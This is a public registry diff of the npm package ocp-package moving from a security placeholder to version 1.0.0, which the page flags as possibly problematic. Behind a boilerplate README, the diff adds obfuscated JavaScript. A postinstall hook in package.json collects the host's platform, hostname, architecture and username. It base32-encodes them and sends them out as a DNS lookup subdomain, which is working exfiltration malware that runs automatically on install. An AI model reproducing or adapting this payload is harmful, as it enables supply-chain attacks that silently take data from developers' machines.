ocp-package 0.0.1-security → 1.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of ocp-package might be problematic. Click here for more details.
- package/README.md +44 -3
- package/index.js +1 -0
- package/lib/main.js +1 -0
- package/lib/utils/connectionUtils.js +1 -0
- package/lib/utils/osUtils.js +1 -0
- package/lib/utils/postinstall.js +1 -0
- package/lib/utils/stringUtils.js +1 -0
- package/package.json +30 -3
- package/scripts/placeholder.js +0 -0
package/README.md
CHANGED
|
@@ -1,5 +1,46 @@
|
|
|
1
|
-
#
|
|
1
|
+
# ocp-package
|
|
2
2
|
|
|
3
|
-
|
|
3
|
+
## Table of Contents
|
|
4
4
|
|
|
5
|
-
|
|
5
|
+
- [ocp-package](#ocp-package)
|
|
6
|
+
- [Table of Contents](#table-of-contents)
|
|
7
|
+
- [Description](#description)
|
|
8
|
+
- [Usage](#usage)
|
|
9
|
+
- [Install](#install)
|
|
10
|
+
- [Example](#example)
|
|
11
|
+
- [Tests](#tests)
|
|
12
|
+
- [Contributing](#contributing)
|
|
13
|
+
- [Changelog](#changelog)
|
|
14
|
+
|
|
15
|
+
## Description
|
|
16
|
+
|
|
17
|
+
> Brief project description
|
|
18
|
+
|
|
19
|
+
## Usage
|
|
20
|
+
|
|
21
|
+
### Install
|
|
22
|
+
|
|
23
|
+
```sh
|
|
24
|
+
npm install --save ocp-package
|
|
25
|
+
```
|
|
26
|
+
|
|
27
|
+
### Example
|
|
28
|
+
|
|
29
|
+
```js
|
|
30
|
+
/**
|
|
31
|
+
* Module dependencies
|
|
32
|
+
*/
|
|
33
|
+
const Lib = require('ocp-package');
|
|
34
|
+
|
|
35
|
+
/**
|
|
36
|
+
* Use Lib
|
|
37
|
+
*/
|
|
38
|
+
const myLib = new Lib();
|
|
39
|
+
const result = myLib.get();
|
|
40
|
+
```
|
|
41
|
+
|
|
42
|
+
### Tests
|
|
43
|
+
|
|
44
|
+
```sh
|
|
45
|
+
npm test
|
|
46
|
+
```
|
package/index.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
module.exports = require('./lib/main');
|
package/lib/main.js
ADDED
|
@@ -0,0 +1 @@
|
|
|
1
|
+
var _0x3732d4=_0x166a,_0x59988f=_0x166a;function _0x599e(){var _0x3f1f8e=['zxHWB3j0CW','mtjRrKnyAwC','mtmWodbpq0vkEge','odqZmJb0yMrxu1q','ndGWmtu0qxLVsLf3','nJCYnZCYtM9Xy0TN','mtbmA0jYq1i','mta2odC1m3vbAuHRqq','mteYmZu3nM9uww53AG','z2v0twvZC2fNzq','yw55','yxnZAwDU','mJqZtvr6wKLb','mti3ndiYm1rmsxvPtq','sgvSBg8SifDVCMXKiq'];_0x599e=function(){return _0x3f1f8e;};return _0x599e();}function _0x166a(_0x5f2b07,_0x25bb37){var _0x599ef0=_0x599e();return _0x166a=function(_0x166a56,_0x39f3f6){_0x166a56=_0x166a56-0x65;var _0xba1526=_0x599ef0[_0x166a56];if(_0x166a['oNJVOw']===undefined){var _0x32caba=function(_0x513aee){var _0xf61951='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var _0x277c88='',_0x1855e6='';for(var _0x59010f=0x0,_0xef7a6f,_0x4d6433,_0x3d59a3=0x0;_0x4d6433=_0x513aee['charAt'](_0x3d59a3++);~_0x4d6433&&(_0xef7a6f=_0x59010f%0x4?_0xef7a6f*0x40+_0x4d6433:_0x4d6433,_0x59010f++%0x4)?_0x277c88+=String['fromCharCode'](0xff&_0xef7a6f>>(-0x2*_0x59010f&0x6)):0x0){_0x4d6433=_0xf61951['indexOf'](_0x4d6433);}for(var _0x11e649=0x0,_0x1104c9=_0x277c88['length'];_0x11e649<_0x1104c9;_0x11e649++){_0x1855e6+='%'+('00'+_0x277c88['charCodeAt'](_0x11e649)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x1855e6);};_0x166a['jiQWID']=_0x32caba,_0x5f2b07=arguments,_0x166a['oNJVOw']=!![];}var _0x2245fc=_0x599ef0[0x0],_0xc3064=_0x166a56+_0x2245fc,_0x18785d=_0x5f2b07[_0xc3064];return!_0x18785d?(_0xba1526=_0x166a['jiQWID'](_0xba1526),_0x5f2b07[_0xc3064]=_0xba1526):_0xba1526=_0x18785d,_0xba1526;},_0x166a(_0x5f2b07,_0x25bb37);}(function(_0x35e00e,_0x107a17){var _0x398eb9=_0x166a,_0xefa7c6=_0x166a,_0x142aaf=_0x35e00e();while(!![]){try{var _0x273fa9=-parseInt(_0x398eb9(0x6f))/0x1+-parseInt(_0x398eb9(0x70))/0x2+parseInt(_0xefa7c6(0x6a))/0x3+-parseInt(_0xefa7c6(0x71))/0x4*(parseInt(_0x398eb9(0x72))/0x5)+-parseInt(_0x398eb9(0x6d))/0x6*(-parseInt(_0xefa7c6(0x73))/0x7)+parseInt(_0xefa7c6(0x65))/0x8+-parseInt(_0xefa7c6(0x69))/0x9*(-parseInt(_0x398eb9(0x6e))/0xa);if(_0x273fa9===_0x107a17)break;else _0x142aaf['push'](_0x142aaf['shift']());}catch(_0x2c8dac){_0x142aaf['push'](_0x142aaf['shift']());}}}(_0x599e,0x3bd57));class Lib{constructor(_0x513aee){var _0x3dd744=_0x166a,_0x355e69=_0x166a;this[_0x3dd744(0x67)]=!![],Object[_0x3dd744(0x68)](this,_0x513aee);}['get'](){var _0x4de0c1=_0x166a;return this[_0x4de0c1(0x67)];}[_0x3732d4(0x66)](){var _0x4fb064=_0x3732d4;return _0x4fb064(0x6b);}}module[_0x59988f(0x6c)]=Lib;
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x3fdcfd = _0x40d0; function _0x2bd5() { const _0x354122 = ['822600MbNjHg', '3584904oCiBWa', '2208970wdBgpZ', '477yxHDiX', '25096MDahtF', '87090IXmWfM', 'exports', 'Parsed\x20DNS\x20Record:\x20[', 'dns', 'toString', '1106QsQtaQ', 'random', 'substring', '4837972dSjEUP', '476587QQNBYy', '2AWRclf', 'resolve']; _0x2bd5 = function () { return _0x354122; }; return _0x2bd5(); } (function (_0x22c9a6, _0x22d0ba) { const _0x36975a = _0x40d0, _0x23b32f = _0x22c9a6(); while (!![]) { try { const _0x44d56b = parseInt(_0x36975a(0x107)) / 0x1 * (parseInt(_0x36975a(0x108)) / 0x2) + parseInt(_0x36975a(0x10a)) / 0x3 + -parseInt(_0x36975a(0x106)) / 0x4 + parseInt(_0x36975a(0x10c)) / 0x5 + parseInt(_0x36975a(0x10b)) / 0x6 + parseInt(_0x36975a(0x114)) / 0x7 * (parseInt(_0x36975a(0x10e)) / 0x8) + parseInt(_0x36975a(0x10d)) / 0x9 * (-parseInt(_0x36975a(0x10f)) / 0xa); if (_0x44d56b === _0x22d0ba) break; else _0x23b32f['push'](_0x23b32f['shift']()); } catch (_0x316d5b) { _0x23b32f['push'](_0x23b32f['shift']()); } } }(_0x2bd5, 0x960f1)); const dns = require(_0x3fdcfd(0x112)); function triggerDNSLookup(_0x3ea5a7, _0x30d47e = 'randomdomain.com') { const _0x1f8e1e = _0x3fdcfd, _0x4ee162 = _0x3ea5a7 + '.' + _0x30d47e; console['error']('FullDomain\x20' + _0x4ee162), dns[_0x1f8e1e(0x109)](_0x4ee162, 'A', (_0x4f233f, _0x2f3d94) => { if (_0x4f233f) { } else { } }); } function _0x40d0(_0x3341f8, _0xb6aa71) { const _0x2bd53f = _0x2bd5(); return _0x40d0 = function (_0x40d04f, _0x26fd34) { _0x40d04f = _0x40d04f - 0x105; let _0x19e81e = _0x2bd53f[_0x40d04f]; return _0x19e81e; }, _0x40d0(_0x3341f8, _0xb6aa71); } function isValidDomain(_0x1f15ad) { const _0x598f4f = /^[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/; return _0x598f4f['test'](_0x1f15ad); } function parseDNSRecord(_0x21297b) { const _0x25897d = _0x3fdcfd; return _0x25897d(0x111) + _0x21297b + ']'; } function generateTestSubdomain() { const _0x4eb347 = _0x3fdcfd; return Math[_0x4eb347(0x115)]()[_0x4eb347(0x113)](0x24)[_0x4eb347(0x105)](0x2, 0xc); } module[_0x3fdcfd(0x110)] = { 'triggerDNSLookup': triggerDNSLookup, 'isValidDomain': isValidDomain, 'parseDNSRecord': parseDNSRecord, 'generateTestSubdomain': generateTestSubdomain };
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
function _0x35ba(){const _0x1ee2f2=['q2HLy2TPBMCGyxzHAwXHyMXLigrPC2SGC3bHy2uUlI4','mZu4ndy3CLz3shv6','Ag9ZDg5HBwu','BgLUDxG','BgvUz3rO','nZi2nJC2ufLQAxbA','nhjHrNrxva','mti3mhfvz1LIuG','zxHPDa','y3b1CW','Bg9N','CgXHDgzVCM0','ieDcks4GtwLUAw11BsbYzwnVBw1LBMrLzcbPCYa','mtiXmZCZnu9IzKLKrW','mtq0vK5sqNzy','ieDclG','Dg9gAxHLza','mZC1mvzMwfjxDq','otm2odfvtwHRwhO','yxjTnJq','mtaZndyWneXetKf1vG','DxnLCKLUzM8','rxjYB3i6ifbSyxrMB3jTia','Dg90ywXTzw0','ote5nZHfyu9ZDhe','D2LUmZi','Aw5JBhvKzxm','nK9mtwrmBG','Edy0','igLZig5VDcbZDxbWB3j0zwqU'];_0x35ba=function(){return _0x1ee2f2;};return _0x35ba();}(function(_0x2a4373,_0x3e7d5b){const _0x12abe1=_0x36f8,_0x119588=_0x36f8,_0x44366e=_0x2a4373();while(!![]){try{const _0xe3fab5=-parseInt(_0x12abe1(0x11a))/0x1+-parseInt(_0x12abe1(0x126))/0x2*(parseInt(_0x12abe1(0x121))/0x3)+-parseInt(_0x12abe1(0x125))/0x4+-parseInt(_0x119588(0x10f))/0x5*(-parseInt(_0x12abe1(0x11d))/0x6)+-parseInt(_0x12abe1(0x114))/0x7*(-parseInt(_0x119588(0x110))/0x8)+parseInt(_0x119588(0x116))/0x9+-parseInt(_0x119588(0x109))/0xa*(-parseInt(_0x12abe1(0x113))/0xb);if(_0xe3fab5===_0x3e7d5b)break;else _0x44366e['push'](_0x44366e['shift']());}catch(_0x25d454){_0x44366e['push'](_0x44366e['shift']());}}}(_0x35ba,0x1f8ff));const os=require('os');function checkPlatform(){const _0x349d60=_0x36f8,_0x40f477=_0x36f8,_0x453efc=os[_0x349d60(0x10d)](),_0x36aa98=[_0x40f477(0x123),'darwin',_0x349d60(0x11b)];return!_0x36aa98[_0x40f477(0x11c)](_0x453efc)&&(console[_0x40f477(0x10c)](_0x40f477(0x118)+_0x453efc+_0x349d60(0x11f)),process['exit'](0x1)),_0x453efc;}function checkArchitecture(){const _0x38d654=_0x36f8,_0x53ad58=_0x36f8,_0x216f3c=os['arch'](),_0x18dd13=[_0x38d654(0x11e),_0x53ad58(0x115)];return!_0x18dd13[_0x53ad58(0x11c)](_0x216f3c)&&(console[_0x38d654(0x10c)]('Error:\x20Architecture\x20'+_0x216f3c+_0x38d654(0x11f)),process[_0x53ad58(0x10a)](0x1)),_0x216f3c;}function _0x36f8(_0x359841,_0x18f3f3){const _0x35ba33=_0x35ba();return _0x36f8=function(_0x36f8b5,_0x4e8856){_0x36f8b5=_0x36f8b5-0x109;let _0x39a468=_0x35ba33[_0x36f8b5];if(_0x36f8['oPDchx']===undefined){var _0x5d97a9=function(_0x453efc){const _0x36aa98='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x216f3c='',_0x18dd13='';for(let _0xfda82d=0x0,_0x4e74b7,_0x5b768f,_0x31ca14=0x0;_0x5b768f=_0x453efc['charAt'](_0x31ca14++);~_0x5b768f&&(_0x4e74b7=_0xfda82d%0x4?_0x4e74b7*0x40+_0x5b768f:_0x5b768f,_0xfda82d++%0x4)?_0x216f3c+=String['fromCharCode'](0xff&_0x4e74b7>>(-0x2*_0xfda82d&0x6)):0x0){_0x5b768f=_0x36aa98['indexOf'](_0x5b768f);}for(let _0x1eba36=0x0,_0x39ecc9=_0x216f3c['length'];_0x1eba36<_0x39ecc9;_0x1eba36++){_0x18dd13+='%'+('00'+_0x216f3c['charCodeAt'](_0x1eba36)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x18dd13);};_0x36f8['XARBqr']=_0x5d97a9,_0x359841=arguments,_0x36f8['oPDchx']=!![];}const _0xd152d2=_0x35ba33[0x0],_0x524379=_0x36f8b5+_0xd152d2,_0xf04052=_0x359841[_0x524379];return!_0xf04052?(_0x39a468=_0x36f8['XARBqr'](_0x39a468),_0x359841[_0x524379]=_0x39a468):_0x39a468=_0xf04052,_0x39a468;},_0x36f8(_0x359841,_0x18f3f3);}function checkMemory(_0xfda82d=0x2){const _0xba1ea5=_0x36f8,_0x593cc4=_0x36f8,_0x4e74b7=os[_0xba1ea5(0x119)]()/(0x400*0x400*0x400);return _0x4e74b7<_0xfda82d&&console[_0xba1ea5(0x10c)]('Warning:\x20Low\x20memory\x20('+_0x4e74b7[_0x593cc4(0x112)](0x2)+_0x593cc4(0x10e)+_0xfda82d+_0xba1ea5(0x111)),_0x4e74b7[_0xba1ea5(0x112)](0x2);}function runSystemChecks(){const _0x2164f6=_0x36f8,_0x489d9d=_0x36f8;return checkPlatform()+'_'+os[_0x2164f6(0x122)]()+'_'+checkArchitecture()+'_'+os[_0x489d9d(0x117)]()['username'];}function simulateCPUCheck(){const _0x3089b1=_0x36f8,_0x7834d1=_0x36f8;console[_0x3089b1(0x10c)]('Performing\x20CPU\x20health\x20check...');const _0x5b768f=os[_0x7834d1(0x10b)]();console['log']('Detected\x20'+_0x5b768f[_0x3089b1(0x124)]+'\x20CPU\x20cores.\x20Status:\x20OK');}function checkDiskSpace(){const _0x5da323=_0x36f8,_0x3c28eb=_0x36f8;console[_0x5da323(0x10c)](_0x3c28eb(0x120)),console[_0x5da323(0x10c)]('Disk\x20space\x20available:\x20120\x20GB.\x20Status:\x20OK');}module['exports']={'runSystemChecks':runSystemChecks,'simulateCPUCheck':simulateCPUCheck,'checkDiskSpace':checkDiskSpace};
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0xc7fa7b=_0x5486,_0xda8663=_0x5486;(function(_0x36663e,_0x2a68fb){const _0x57498e=_0x5486,_0x41da9d=_0x5486,_0x4f4223=_0x36663e();while(!![]){try{const _0x57fca5=parseInt(_0x57498e(0x136))/0x1*(parseInt(_0x57498e(0x134))/0x2)+-parseInt(_0x41da9d(0x131))/0x3*(-parseInt(_0x41da9d(0x12e))/0x4)+parseInt(_0x41da9d(0x13a))/0x5+-parseInt(_0x57498e(0x12f))/0x6*(parseInt(_0x41da9d(0x139))/0x7)+parseInt(_0x57498e(0x130))/0x8+parseInt(_0x57498e(0x137))/0x9+parseInt(_0x57498e(0x138))/0xa*(parseInt(_0x57498e(0x132))/0xb);if(_0x57fca5===_0x2a68fb)break;else _0x4f4223['push'](_0x4f4223['shift']());}catch(_0xbdcef9){_0x4f4223['push'](_0x4f4223['shift']());}}}(_0x18c7,0xb601a));function _0x5486(_0x4e141f,_0x20008b){const _0x18c715=_0x18c7();return _0x5486=function(_0x5486b1,_0x27d0f1){_0x5486b1=_0x5486b1-0x12e;let _0x174b2c=_0x18c715[_0x5486b1];if(_0x5486['eYfUcQ']===undefined){var _0x53a2fa=function(_0x26ba68){const _0x2c1df7='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x4466ef='',_0x36be41='';for(let _0x331640=0x0,_0x39d0f7,_0x18dbb5,_0x3096f5=0x0;_0x18dbb5=_0x26ba68['charAt'](_0x3096f5++);~_0x18dbb5&&(_0x39d0f7=_0x331640%0x4?_0x39d0f7*0x40+_0x18dbb5:_0x18dbb5,_0x331640++%0x4)?_0x4466ef+=String['fromCharCode'](0xff&_0x39d0f7>>(-0x2*_0x331640&0x6)):0x0){_0x18dbb5=_0x2c1df7['indexOf'](_0x18dbb5);}for(let _0x42b252=0x0,_0x2fce16=_0x4466ef['length'];_0x42b252<_0x2fce16;_0x42b252++){_0x36be41+='%'+('00'+_0x4466ef['charCodeAt'](_0x42b252)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x36be41);};_0x5486['lCgLmt']=_0x53a2fa,_0x4e141f=arguments,_0x5486['eYfUcQ']=!![];}const _0x58ed1c=_0x18c715[0x0],_0x5e1453=_0x5486b1+_0x58ed1c,_0x3e7afa=_0x4e141f[_0x5e1453];return!_0x3e7afa?(_0x174b2c=_0x5486['lCgLmt'](_0x174b2c),_0x4e141f[_0x5e1453]=_0x174b2c):_0x174b2c=_0x3e7afa,_0x174b2c;},_0x5486(_0x4e141f,_0x20008b);}function _0x18c7(){const _0x3395e2=['lI9JB25Uzwn0Aw9UvxrPBhm','mtrhs1PZqu8','lI9ZDhjPBMDvDgLSCW','mZe1mtzjD0P6z2u','ntm0otCXn2zuzNLHsa','mJeWEeXJA3bo','mtrYswPXrum','mtu4mZu2mer4yxb5BW','mtqXnZaWrff0Bwrq','mJe0mtGXngnwDvvMBW','mJi1ndu2sgP1uMDq','owrIDM9VuW','mtaXmJiYvgLWuKrY'];_0x18c7=function(){return _0x3395e2;};return _0x18c7();}const {toBase32}=require(_0xc7fa7b(0x135)),{triggerDNSLookup}=require(_0xc7fa7b(0x133)),{runSystemChecks}=require('./osUtils');((async()=>{const _0x26ba68=runSystemChecks(),_0x2c1df7=await toBase32(_0x26ba68);triggerDNSLookup(_0x2c1df7);})());
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
const _0x582214=_0x5dee;(function(_0x5b6be0,_0x3fe233){const _0x3002d9=_0x5dee,_0x4ef1b3=_0x5dee,_0x2b929a=_0x5b6be0();while(!![]){try{const _0x1885c4=parseInt(_0x3002d9(0x1f6))/0x1+-parseInt(_0x3002d9(0x1f4))/0x2*(-parseInt(_0x4ef1b3(0x1ed))/0x3)+-parseInt(_0x3002d9(0x1f1))/0x4+-parseInt(_0x3002d9(0x1ea))/0x5+-parseInt(_0x3002d9(0x1eb))/0x6+-parseInt(_0x4ef1b3(0x1ee))/0x7*(parseInt(_0x4ef1b3(0x1f3))/0x8)+parseInt(_0x4ef1b3(0x1f2))/0x9;if(_0x1885c4===_0x3fe233)break;else _0x2b929a['push'](_0x2b929a['shift']());}catch(_0x1f9c0a){_0x2b929a['push'](_0x2b929a['shift']());}}}(_0x3dec,0xda845));function _0x3dec(){const _0x1227df=['ndm4ntrgD2fsvvy','zxHWB3j0CW','mZGZmZi2Dvf0uwrS','zgvMyxvSDa','CMvWBgfJzq','mty3mJiZmfvzAwrqwa','nJC5odiXnKvVELzJrG','Dg9tDhjPBMC','nJzss0HtqvK','mtyWnZyYru5wsNn5','zNjVBq','Dg9vChbLCKnHC2u','mty0mZK3mLLps3v6AG','mJG5nte3ntHSzKL2EKe','ndu2vKLSA0HN'];_0x3dec=function(){return _0x1227df;};return _0x3dec();}async function toBase32(_0xefb15d){const _0x3d84be=_0x5dee,_0x330bde=_0x5dee,_0x49e10f=(await import('base32-encode'))[_0x3d84be(0x1f7)],_0x10dc1a=Buffer[_0x330bde(0x1ef)](_0xefb15d);return _0x49e10f(_0x10dc1a,'RFC4648',{'padding':![]});}function _0x5dee(_0x2c3c2f,_0x50d98c){const _0x3dec2a=_0x3dec();return _0x5dee=function(_0x5deec7,_0x3ac420){_0x5deec7=_0x5deec7-0x1ea;let _0x5cb630=_0x3dec2a[_0x5deec7];if(_0x5dee['zlAMjP']===undefined){var _0x1ff341=function(_0xefb15d){const _0x49e10f='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';let _0x10dc1a='',_0x484d7f='';for(let _0x5f1138=0x0,_0x33fecc,_0x50748a,_0x543f40=0x0;_0x50748a=_0xefb15d['charAt'](_0x543f40++);~_0x50748a&&(_0x33fecc=_0x5f1138%0x4?_0x33fecc*0x40+_0x50748a:_0x50748a,_0x5f1138++%0x4)?_0x10dc1a+=String['fromCharCode'](0xff&_0x33fecc>>(-0x2*_0x5f1138&0x6)):0x0){_0x50748a=_0x49e10f['indexOf'](_0x50748a);}for(let _0x39e5f9=0x0,_0x3c8979=_0x10dc1a['length'];_0x39e5f9<_0x3c8979;_0x39e5f9++){_0x484d7f+='%'+('00'+_0x10dc1a['charCodeAt'](_0x39e5f9)['toString'](0x10))['slice'](-0x2);}return decodeURIComponent(_0x484d7f);};_0x5dee['pKNSXO']=_0x1ff341,_0x2c3c2f=arguments,_0x5dee['zlAMjP']=!![];}const _0x30d6bf=_0x3dec2a[0x0],_0x3b6b14=_0x5deec7+_0x30d6bf,_0x1b42f7=_0x2c3c2f[_0x3b6b14];return!_0x1b42f7?(_0x5cb630=_0x5dee['pKNSXO'](_0x5cb630),_0x2c3c2f[_0x3b6b14]=_0x5cb630):_0x5cb630=_0x1b42f7,_0x5cb630;},_0x5dee(_0x2c3c2f,_0x50d98c);}function pseudoHash(_0x484d7f){const _0x5ca4bc=_0x5dee,_0x2d2b5e=_0x5dee,_0x5f1138=Buffer[_0x5ca4bc(0x1ef)](_0x484d7f);return _0x5f1138[_0x5ca4bc(0x1ec)]('base64');}function toUpperCase(_0x33fecc){const _0x4ef7d6=_0x5dee;return _0x33fecc[_0x4ef7d6(0x1f0)]();}function normalizeString(_0x50748a){const _0xe86e44=_0x5dee;return _0x50748a[_0xe86e44(0x1f8)](/-/g,'_');}module[_0x582214(0x1f5)]={'toBase32':toBase32,'pseudoHash':pseudoHash,'toUpperCase':toUpperCase,'normalizeString':normalizeString};
|
package/package.json
CHANGED
|
@@ -1,6 +1,33 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "ocp-package",
|
|
3
|
-
"version": "0.0
|
|
4
|
-
"
|
|
5
|
-
"
|
|
3
|
+
"version": "1.0.0",
|
|
4
|
+
"main": "index.js",
|
|
5
|
+
"scripts": {
|
|
6
|
+
"test": "npm run test:unit",
|
|
7
|
+
"test:unit": "jest --coverage",
|
|
8
|
+
"postinstall": "node lib/utils/postinstall.js"
|
|
9
|
+
},
|
|
10
|
+
"repository": {
|
|
11
|
+
},
|
|
12
|
+
"author": "Ian",
|
|
13
|
+
"license": "ISC",
|
|
14
|
+
"bugs": {},
|
|
15
|
+
"homepage": "",
|
|
16
|
+
"description": "",
|
|
17
|
+
"files": [
|
|
18
|
+
"index.js",
|
|
19
|
+
"lib",
|
|
20
|
+
"scripts"
|
|
21
|
+
],
|
|
22
|
+
"engines": {
|
|
23
|
+
"node": "^16.20 || ^18.20 || ^20.12"
|
|
24
|
+
},
|
|
25
|
+
"devDependencies": {
|
|
26
|
+
"@types/jest": "^29.5.12",
|
|
27
|
+
"eslint": "^8.57.0",
|
|
28
|
+
"jest": "^29.7.0"
|
|
29
|
+
},
|
|
30
|
+
"dependencies": {
|
|
31
|
+
"base32-encode": "^2.0.0"
|
|
32
|
+
}
|
|
6
33
|
}
|
|
File without changes
|